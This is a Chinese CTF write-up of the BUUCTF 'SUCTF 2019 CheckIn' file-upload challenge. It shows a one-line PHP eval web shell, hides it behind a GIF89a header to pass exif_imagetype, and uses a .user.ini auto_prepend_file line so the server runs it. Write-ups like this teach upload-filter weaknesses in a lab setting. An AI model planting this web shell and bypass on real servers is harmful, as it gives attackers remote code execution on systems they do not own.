Loading

BUUCTF-[SUCTF 2019]CheckIn(.user.ini利用+exif_imagetype绕过)


记一道.user.ini利用+exif_imagetype绕过的文件上传的题。

分析

先正经上传一张图片。回显了存储路径,同时发现还包含了一个index.php文件。暂时不知道怎么用。

在上传一句话木马.jpg文件的时候提示<? in contents!,文件中不能包含<?,这个我们可以换个格式写一句话木马。比如

<script language="php"> echo eval($_POST[shell]);</script>

但是上传后提示exif_imagetype:not image!。exif_imagetype() 函数读取一个图像的第一个字节并检查其签名。这个函数我们通过添加图片头就能绕过。那么我们构造一个

GIF89a
<script language="php"> echo eval($_POST[shell]);</script>

确实是传上去了。但是需要解析我们上传的图片马。.htaccess传不上去。这里用到了.user.ini文件

.user.ini使用条件

(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们可以自定义除了PHP_INI_SYSTEM以外的模式,在执行php代码之前,系统会对.user.ini先做一个执行,然后才执行其他的php文件。利用.user.ini先执行auto_prepend_file函数,auto_prepend_file表示在php程序加载第一个php代码前加载的php文件,也就是先加载了a.jpg里面的文件,即一句话木马。然后利用蚁剑连接即可。

GIF89a                  //绕过exif_imagetype()
auto_prepend_file=muma.jpg//指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=muma.jpg//解析后进行包含

解题

先传.user.ini文件,再将muma.jpg传上去。用蚁剑连接

http://da34ffbe-a0b9-4488-b77f-26931159e50b.node3.buuoj.cn/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php

在根目录下拿到flag。

参考链接

https://xz.aliyun.com/t/6091#toc-2
https://www.jianshu.com/p/2907426b4a91
https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html

posted @ 2020-05-27 21:40  Hel10  阅读(963)  评论(0编辑  收藏  举报